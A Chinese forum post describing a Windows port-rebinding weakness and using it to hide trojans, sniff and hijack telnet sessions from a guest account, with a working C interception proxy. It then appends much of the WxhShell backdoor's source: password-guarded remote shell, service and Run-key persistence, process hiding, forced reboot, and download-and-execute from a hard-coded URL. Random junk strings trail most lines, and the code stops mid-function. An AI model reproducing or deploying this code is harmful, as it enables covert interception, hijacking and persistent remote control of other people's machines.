社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 15524阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: GCKl [<9*  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); hF~B&^dd.  
$ T4PC5.  
  saddr.sin_family = AF_INET; W24bO|>D  
JdHc'WtS!|  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); b {5|2&=  
6{ Nbe=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [UH5D~Yx  
3(:mRb}  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $ZRN#x@  
*ls6#j@  
  这意味着什么?意味着可以进行如下的攻击: rieQ&Jt"  
z aF0nov  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Z|c9%.,  
ECScx02  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $<4Ar*i  
{yHfE,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 8ilbX)O  
r!^\Q7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .;b> T  
v+#j>   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 M 9#QS`G  
v8Zg og)V  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Q /c WV  
$kma#7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {1aAm+  
>@U<?wP  
  #include G)hH?_U#T  
  #include fWyDWU  
  #include j9}0jC2Tb  
  #include    A#X.c=  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :XSc#H4  
  int main() &8_;:  
  { ?(q*U!=  
  WORD wVersionRequested; i4n b#  
  DWORD ret; }+ 2"?f|]  
  WSADATA wsaData; /K) b0QX  
  BOOL val; 1bg@[YN!;  
  SOCKADDR_IN saddr; Rr4CcM  
  SOCKADDR_IN scaddr; q7&yb.<KD.  
  int err; m5w9l"U]H  
  SOCKET s; U;{,lS2l  
  SOCKET sc; MLBg_<  
  int caddsize; i?>> 9f@F  
  HANDLE mt; z<6P3x|  
  DWORD tid;   O2]r]9sh*  
  wVersionRequested = MAKEWORD( 2, 2 ); =jIT"rk  
  err = WSAStartup( wVersionRequested, &wsaData ); sNfb %r  
  if ( err != 0 ) { 8EG8!,\I  
  printf("error!WSAStartup failed!\n"); 0ITA3v8{  
  return -1; NzAtdcwR  
  } o+-Ge J  
  saddr.sin_family = AF_INET; s.;KVy,=Bu  
   h:jI  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 e4q k>Cw  
xrVZxK:!  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /P!X4~sTM  
  saddr.sin_port = htons(23); :+ 9Ft>  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) mXU?+G0  
  { Ot$cmBhw!  
  printf("error!socket failed!\n"); _`@Xy!Ye  
  return -1; EkStb#  
  } !qXq y}?w  
  val = TRUE; :qCm71*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Fm$n@R bX  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) W|H4i;u  
  { ;8L+_YCa  
  printf("error!setsockopt failed!\n"); I6hhU;)C  
  return -1; |T$a+lHMD  
  } =o{: -EKQF  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @0UwI%.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 TFJ{fLG  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [Yx-l;78  
c(Uj'uLc  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) BBU84s[  
  { 3\p]esse  
  ret=GetLastError(); v;bM.OL  
  printf("error!bind failed!\n"); t)oES>W1  
  return -1; uF]D  
  } .}$`+h8W T  
  listen(s,2); f=_Bx2ub  
  while(1)  g`)/x\  
  { (iCZz{l@~  
  caddsize = sizeof(scaddr); r\l3_t  
  //接受连接请求 [I++>4  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); v E3{H  
  if(sc!=INVALID_SOCKET) $dx1[ V+_  
  { cy&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5&n988g C8  
  if(mt==NULL) $LxG>db  
  { Bt*&L[&57  
  printf("Thread Creat Failed!\n"); xS H6n  
  break; Lem\UD$D`  
  } ub zb  
  } 8g# c%eZ  
  CloseHandle(mt); taWirq d9  
  } u:AfHZ  
  closesocket(s); 7E!";HT  
  WSACleanup(); w!B,kqTG  
  return 0; oN&rq6eN  
  }   <<7,k f R  
  DWORD WINAPI ClientThread(LPVOID lpParam) ]Efh(Gb]  
  { Yn IM-  
  SOCKET ss = (SOCKET)lpParam; 8(vC jL  
  SOCKET sc; 5bF9I H  
  unsigned char buf[4096]; ~!3t8Hx6  
  SOCKADDR_IN saddr; .KiPNTh'  
  long num; Pg*?[^*  
  DWORD val; ]b0zkoD9<  
  DWORD ret; a!c/5)v(  
  //如果是隐藏端口应用的话,可以在此处加一些判断 q7O,I`KaJ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   zx\.2<K  
  saddr.sin_family = AF_INET; #[k~RYS3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); vI pO/m.3  
  saddr.sin_port = htons(23); EFa{O`_@U  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dAYI DE  
  { dp"<KcP_  
  printf("error!socket failed!\n"); %K&+~CJE  
  return -1; 8~&F/C*  
  } RJtix uvh@  
  val = 100; Ur_ S [I  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _9Dn \=g  
  { ZfFIX5Qd\  
  ret = GetLastError(); -vv   
  return -1; O tXw/  
  } =gMaaGg p,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U=haX x4N  
  { bjM-Hd/K  
  ret = GetLastError(); ppwd-^f3j  
  return -1; ~u_K& X  
  } g)=V#Bglv  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) paq8L{R  
  { vbr~<JT=  
  printf("error!socket connect failed!\n"); L]c 8d   
  closesocket(sc); +}Kk2Kg8  
  closesocket(ss); u~#%P&3 _W  
  return -1; L/qZ ;{  
  } :@:g*w2K  
  while(1) |RHO+J  
  { #D!$~ h&i  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3mpP| b"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 S9OxI$6Y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 k)$iK2I  
  num = recv(ss,buf,4096,0); /'-:=0a  
  if(num>0) `^O'V}T  
  send(sc,buf,num,0); f2uZK!:m  
  else if(num==0) X }m7@r@  
  break; o&CghF  
  num = recv(sc,buf,4096,0); n (OjjR m  
  if(num>0) YH6snC$u  
  send(ss,buf,num,0); qsI{ b<n  
  else if(num==0) ~&lQNl3`m6  
  break; \z2vV +f  
  } ?2H{^\<(e  
  closesocket(ss); $`^H:Djr  
  closesocket(sc); ^it4z gx@  
  return 0 ; $`E4m8fX  
  }  UP\8w#~  
].LJt['%8  
^%-NPo<  
========================================================== [Dnusp7e  
A$/KP\0Y2  
下边附上一个代码,,WXhSHELL .=?Sz*3  
Y3D3.T6Q  
========================================================== H( MB5  
ozVpfs  
#include "stdafx.h" !>\9t9  
ty':`)  
#include <stdio.h> N[>:@h  
#include <string.h> x]H3Y3  
#include <windows.h> cvxIp#FbW  
#include <winsock2.h> MY&<)|v\  
#include <winsvc.h> r~I.F!{  
#include <urlmon.h> K/DH / r  
"pYe-_"@  
#pragma comment (lib, "Ws2_32.lib") $$42pb.  
#pragma comment (lib, "urlmon.lib") [S%J*sz~  
4>l0V<  
#define MAX_USER   100 // 最大客户端连接数 Lg8 ]dBXu  
#define BUF_SOCK   200 // sock buffer ubD#I{~J  
#define KEY_BUFF   255 // 输入 buffer r8sdzz%  
0(\p<qq  
#define REBOOT     0   // 重启 @sN^BX`z  
#define SHUTDOWN   1   // 关机  X@cSP7b  
,dOMW+{  
#define DEF_PORT   5000 // 监听端口 S3;lKr  
rYbCOazr  
#define REG_LEN     16   // 注册表键长度 ) 9xX  
#define SVC_LEN     80   // NT服务名长度 Vfb<o"BQk  
(s&ORoVGn  
// 从dll定义API $kv@tzO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _<XgC\4O|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  70{RDj6{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h5 j<u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ATo}FL 2  
n7@j}Q(&?  
// wxhshell配置信息 <H!O:Mf_p  
struct WSCFG { ekrBNDs9  
  int ws_port;         // 监听端口 @Zj& `/  
  char ws_passstr[REG_LEN]; // 口令 z[*zuo  
  int ws_autoins;       // 安装标记, 1=yes 0=no R#D#{ cC(  
  char ws_regname[REG_LEN]; // 注册表键名 7O"hiDQ  
  char ws_svcname[REG_LEN]; // 服务名 _;#9!"&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 JfSdUWxT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 DDWp4`CS|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (N7O+3+G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \,hrk~4U;(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]uAS+shQ&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 URLk9PI  
uQWp+}>ZJy  
}; h>| g2h  
QsM*wT&aa  
// default Wxhshell configuration eJW[ ]!  
struct WSCFG wscfg={DEF_PORT, Jb9F=s+  
    "xuhuanlingzhe", 1c / X  
    1,  ; HP#bx  
    "Wxhshell", 0_Lm#fE U  
    "Wxhshell", t|<FA#  
            "WxhShell Service", ZOC#i i`:  
    "Wrsky Windows CmdShell Service", G@B*E%$9  
    "Please Input Your Password: ", d[S#Duz<&  
  1, -IbbPuRq  
  "http://www.wrsky.com/wxhshell.exe", i0iez9B  
  "Wxhshell.exe" 6W$rY] h!  
    }; CB6o$U  
#%4=)M>^  
// 消息定义模块 rtus`A5p  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; yZ5 x8 8>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; EQ/^&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 95[wM6?J  
char *msg_ws_ext="\n\rExit."; &u=8r*  
char *msg_ws_end="\n\rQuit."; $e*B:}x}  
char *msg_ws_boot="\n\rReboot..."; 5y040 N-  
char *msg_ws_poff="\n\rShutdown..."; ^j[Ku  
char *msg_ws_down="\n\rSave to "; GyuV %  
.$P|^Zx,  
char *msg_ws_err="\n\rErr!"; 1 #q^uqO0  
char *msg_ws_ok="\n\rOK!"; TOrMXcn!/  
aiJnfU]W  
char ExeFile[MAX_PATH]; :PUK6,"5]O  
int nUser = 0; 6< >SHw  
HANDLE handles[MAX_USER]; 6{8/P'@/Zz  
int OsIsNt; dqxd3,Z  
gvGi %gq  
SERVICE_STATUS       serviceStatus; |Q5+l.%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S+iP^*L,c  
@iRO7 6m  
// 函数声明 ,z[(k"  
int Install(void); 3}j1RYtz  
int Uninstall(void); /p 5=i  
int DownloadFile(char *sURL, SOCKET wsh); *Q5x1!#z #  
int Boot(int flag); vtZ?X';wh  
void HideProc(void); L1{T ?aII  
int GetOsVer(void); gApz:K[l  
int Wxhshell(SOCKET wsl); p1~*;;F  
void TalkWithClient(void *cs); {@45?L('  
int CmdShell(SOCKET sock); m:3J!1  
int StartFromService(void); RG&6FRoq  
int StartWxhshell(LPSTR lpCmdLine); y1#O%=g  
`s%QeAde  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vd(dNu&,<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Zih ?Bm  
:3 y_mf>  
// 数据结构和表定义 ,Bf(r  
SERVICE_TABLE_ENTRY DispatchTable[] = A="fj  
{ ~&KX-AC@  
{wscfg.ws_svcname, NTServiceMain}, s1=+::  
{NULL, NULL} `iQqhx  
}; 0bSz4<}  
7k~Lttuk  
// 自我安装 iadkH]w  
int Install(void) :Y^I]`lR"  
{ yd*3)6=  
  char svExeFile[MAX_PATH]; 4.'JLArw  
  HKEY key; qtY m!g  
  strcpy(svExeFile,ExeFile); Yf= FeH7"  
<xqba4O  
// 如果是win9x系统,修改注册表设为自启动 ;wgFr.#hp@  
if(!OsIsNt) { @RVOXkVo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 11{y}J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NnOI:X {  
  RegCloseKey(key); + Kk@Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pX_b6%yX(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c3W BALdh  
  RegCloseKey(key); gl "_:atW  
  return 0; jI0]LD1k  
    } $:;%bjSI  
  } n|C|&  
} agT7=hX].  
else { 2*Q3.2 Z  
TGpSulg7  
// 如果是NT以上系统,安装为系统服务 Y 1y E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /[?Jylj  
if (schSCManager!=0) ._,trb>o  
{ ~6HDW  
  SC_HANDLE schService = CreateService 8t[t{"  
  ( tT-=hDw  
  schSCManager, t3>$|}O]t  
  wscfg.ws_svcname, y\z > /q  
  wscfg.ws_svcdisp, O^NP0E  
  SERVICE_ALL_ACCESS, lD3)TAW@o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ay%:@j(E  
  SERVICE_AUTO_START, xiCN qk3  
  SERVICE_ERROR_NORMAL, Bc[6*Y,%T  
  svExeFile, 1R^4C8*B  
  NULL, ]3+``vL  
  NULL, 4m /TW)  
  NULL, =YHt9fb$c  
  NULL, i| 4_ m  
  NULL %)JRbX<c  
  ); GoD ?KC  
  if (schService!=0) H&K3"Ulw  
  { 4>k I^  
  CloseServiceHandle(schService); 74]a/'4  
  CloseServiceHandle(schSCManager); >?V<$>12  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,R~eY?{a  
  strcat(svExeFile,wscfg.ws_svcname); L#ZLawG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,CKvTxz0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c'rd$  
  RegCloseKey(key); ytz8=\p_b  
  return 0; $T/#1w P  
    } }4vjKSV  
  } +6376$dC  
  CloseServiceHandle(schSCManager); +5-fk>o  
} n ,1tD  
} >%h7dC3h  
n;qz^HXEJ  
return 1; Pw  xIz  
} qguVaV4Y  
Z(UD9wY5m  
// 自我卸载 tN}c0'H  
int Uninstall(void) `M)E*G  
{ PI63RH8e  
  HKEY key; +f|6AeE  
zDd5cxFdZ  
if(!OsIsNt) { 6F-JK1i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1 7i$8  
  RegDeleteValue(key,wscfg.ws_regname); "& Mou  
  RegCloseKey(key); J 8q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sX5sL  
  RegDeleteValue(key,wscfg.ws_regname); !&JiNn('  
  RegCloseKey(key); J | q^+K  
  return 0; M5 `m.n<  
  } 5& *zY)UL  
} w%rg\E  
} "Y(^F bs  
else { jE*Ff&]%m  
`VXZ khm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /Zx8nx'{V  
if (schSCManager!=0) 0T0/fg(o  
{ 0[i}rC9&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bKByU{t  
  if (schService!=0) 6e/7'TYwT  
  { %wtXo BJ  
  if(DeleteService(schService)!=0) { <N-=fad]  
  CloseServiceHandle(schService); "qgu$N4/>  
  CloseServiceHandle(schSCManager); Q]T BQ&  
  return 0; [,GU5,o  
  } |i u2&p >  
  CloseServiceHandle(schService); fa yKM  
  } X\mz+al>[  
  CloseServiceHandle(schSCManager); p_9g|B0D  
} tO`?{?W7  
} %i3{TL  
?DRR+n _  
return 1; D>Ua#<52q  
} S?2YJ l8B  
`1q|F9D  
// 从指定url下载文件 LGfmUb-{]  
int DownloadFile(char *sURL, SOCKET wsh) DU`v J2  
{ *73AAA5LKa  
  HRESULT hr; 8J):\jAZ6  
char seps[]= "/"; I5Q~T5Ar  
char *token; A9iQ{l  
char *file; r*]uR /Z$  
char myURL[MAX_PATH]; @C07k^j=U  
char myFILE[MAX_PATH]; ,0h3x$l)   
s_v }=C^  
strcpy(myURL,sURL); EzUPah  
  token=strtok(myURL,seps); "\<P$&`HA  
  while(token!=NULL) I^@.Aw t  
  { ;&q]X]bJ  
    file=token; 5Fh8*8u6hL  
  token=strtok(NULL,seps); 9j2\y=<&  
  } ^7<[}u;qF  
*.xZfi_|  
GetCurrentDirectory(MAX_PATH,myFILE); g/!Otgfu  
strcat(myFILE, "\\"); n{3| E3  
strcat(myFILE, file); {RH*8?7  
  send(wsh,myFILE,strlen(myFILE),0); =<TO"  
send(wsh,"...",3,0); ^ISQ{M#_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L/5z!  
  if(hr==S_OK) ZRUh/<\[  
return 0; dhs#D:/{9  
else y6\ [1nZ  
return 1; "`[$&:~  
kv/(rKLp*  
} V.U|OQouT  
We|-5  
// 系统电源模块 bIq-1 Y(  
int Boot(int flag) `TOX1cmw  
{ {;\%!I  
  HANDLE hToken; Y5Ft96o))x  
  TOKEN_PRIVILEGES tkp; aK!xRnY  
??q!jm-m  
  if(OsIsNt) { 8.PXTOhVL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [q w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3b,=  
    tkp.PrivilegeCount = 1; BSjbnnW}"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [GOX0}$?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); HK^a:BI  
if(flag==REBOOT) { py}.00it  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t;oT {Hge  
  return 0; #wGQv  
} m)(SG  
else { %+D-y+hn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *1R##9\jU7  
  return 0; q#.rYzl0  
} 5c*p2:]  
  } kbD*=d}3{  
  else { sb8z_3   
if(flag==REBOOT) { {6-;P#Q0_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O7! fI'R  
  return 0; W<Bxm|  
} M}R@ K;%  
else { Jii?r*"d  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) R (t!xf  
  return 0; Q9Q!9B @  
} *7)S%r,?  
} *pDXcURw  
vcaBL<io  
return 1; tU8g(ep,o  
} *2w_oKE'+5  
 aOaF&6'j  
// win9x进程隐藏模块 #nxER   
void HideProc(void) ~ra#UG\Y8  
{ @1/Q  
0+$hkd n  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wghFGHgw  
  if ( hKernel != NULL ) ~gSF@tz@  
  { uzat."`d'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 48R]\B<R{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AAeQ-nbP  
    FreeLibrary(hKernel); ?CcR 7l  
  } w0q?\qEX  
>w%d'e$  
return; gOBj0P8s|}  
} 6Cop#kW#  
yVu^ >  
// 获取操作系统版本 ==PQ-Ia  
int GetOsVer(void) UKt/0Ze  
{ O2V6UX@&<w  
  OSVERSIONINFO winfo; n.;5P {V1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?15POY ?Z  
  GetVersionEx(&winfo); uFA|r X  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /j=DC9_  
  return 1; ovo?lE-a0  
  else Bd N{[2  
  return 0; ,6cbD  
} %^Q@*+{:f  
!."%M^J  
// 客户端句柄模块 C+Fh$  
int Wxhshell(SOCKET wsl) c(_oK ?  
{ )cv0$  
  SOCKET wsh; q;Ar&VrlNq  
  struct sockaddr_in client; [Ls2k&)0  
  DWORD myID; +Y.uZJ6+  
s%S_K  
  while(nUser<MAX_USER) \$$b",2 h  
{ @+T{M:&l  
  int nSize=sizeof(client); taD T;t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5~kW-x  
  if(wsh==INVALID_SOCKET) return 1; s[{:>~{iq  
 5Xy^I^J  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); y(wqcDok|n  
if(handles[nUser]==0) 8KGv?^M 6W  
  closesocket(wsh); 0Tn|Q9R  
else ?Uy*6YS  
  nUser++; h Vt+%tmNy  
  } j 44bF/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9L)&n.t1  
|=h)efo}  
  return 0; Wj f>:\ w  
} zDGg\cPj9  
]B-$p p  
// 关闭 socket k1LtqV  
void CloseIt(SOCKET wsh) LK-K_!F  
{ :vgh KI  
closesocket(wsh); YCLD!S/?  
nUser--; ~gLEhtW  
ExitThread(0); T$N08aju#  
} * F%ol;|Q  
t$PnQ@xu  
// 客户端请求句柄 65`'Upu  
void TalkWithClient(void *cs) xjn8)C  
{ YK=#$,6  
Q\/":ISq1  
  SOCKET wsh=(SOCKET)cs; }9+1<mT9a/  
  char pwd[SVC_LEN]; g]PLW3  
  char cmd[KEY_BUFF]; ^6NABXL  
char chr[1]; GYb2m"a)  
int i,j; Xw}Y!;<IEu  
/x8C70W^  
  while (nUser < MAX_USER) { YV_I-l0  
52C-D+zCJ  
if(wscfg.ws_passstr) { Mpl,}Q!c  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  &t%&l0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Tdmo'"m8z_  
  //ZeroMemory(pwd,KEY_BUFF); :7PSZc:xE  
      i=0; !=Kay^J~.  
  while(i<SVC_LEN) { ht74h  
[m+O0VK$  
  // 设置超时 m$y$wo<K[7  
  fd_set FdRead; ~9/nx|%D  
  struct timeval TimeOut; b Ho?Rw!.  
  FD_ZERO(&FdRead); #O974f8  
  FD_SET(wsh,&FdRead); !CMVZf;u  
  TimeOut.tv_sec=8; \,IDLXqp  
  TimeOut.tv_usec=0; A)p! w aG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y7G|P~td  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =z /mI y<  
*[5#g3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _G8y9!J  
  pwd=chr[0]; $Qc%9p @i  
  if(chr[0]==0xd || chr[0]==0xa) { hB<z]sl  
  pwd=0; P}u<NPy3Q  
  break; bDh(;%=  
  } 9NoPrR=x1  
  i++; 1bAp{u&  
    } ] 8cX#N,M  
6!=9V0G~  
  // 如果是非法用户,关闭 socket ::b;4Q L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (8X8<>w~  
} Z5^ UF2`Q  
@3= < wz<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >0okb3+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LZbHK.G=  
K<9MK>T  
while(1) { %_LHD|<  
v+2q R0,LM  
  ZeroMemory(cmd,KEY_BUFF); E|}Nj}(*  
.4)P=*  
      // 自动支持客户端 telnet标准   WW/m /+  
  j=0; }pZnWK+  
  while(j<KEY_BUFF) { VrL>0d&d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2Rp{]s$jo  
  cmd[j]=chr[0]; 83(P_Y:  
  if(chr[0]==0xa || chr[0]==0xd) { J)& +y;.  
  cmd[j]=0; `\uv+^x{  
  break; XD>@EYN<X  
  } TZ]Gl4 @  
  j++; _NN{Wk/3w  
    } gV>\lMc[-%  
Yx/~8K_%M?  
  // 下载文件 /[T8/7;_l  
  if(strstr(cmd,"http://")) { 7lOiFw  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b,A1(_pzi  
  if(DownloadFile(cmd,wsh)) %NoZf^ ?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #iU/Yg!  
  else ~"B[6^sW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _$lQK{@rY  
  } ^%@.Vvz<  
  else { *9&YkVw~  
nxRrmR}F  
    switch(cmd[0]) { Jxp'.oo[  
  ikiy>W8  
  // 帮助 7FFYSv,[:  
  case '?': { #8|NZ6x,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l.)!jWY  
    break; )g F9D1eA  
  } FeMu`|2  
  // 安装 X y<KvFy  
  case 'i': { Vs{sB*:  
    if(Install()) \2b9A' d>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9q{dRS[A  
    else &6EfybAt^_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "j>0A Hem  
    break; ,:,|A/U  
    } R[t[M}q  
  // 卸载 ?A>-_B  
  case 'r': { `9gx-')]\  
    if(Uninstall()) R/|o?qTrj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); = ByW`  
    else Kwnu|8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (*tJCz`Sj  
    break; J-c7ZcTt  
    } 8uiQm;W  
  // 显示 wxhshell 所在路径 35T7g65;  
  case 'p': { `^[ra% a  
    char svExeFile[MAX_PATH]; ,-Gw#!0  
    strcpy(svExeFile,"\n\r"); Sm5"Q  
      strcat(svExeFile,ExeFile); yvvR%]!.  
        send(wsh,svExeFile,strlen(svExeFile),0); i/Z5/(zF  
    break; ,s K-gw  
    } F\;1:y~1  
  // 重启 kOO2 ?L|Z  
  case 'b': { NKws;/u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^D)C|T  
    if(Boot(REBOOT)) WYL.J5O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %LyB~X  
    else { *XuzTGa"  
    closesocket(wsh); JAK*HA  
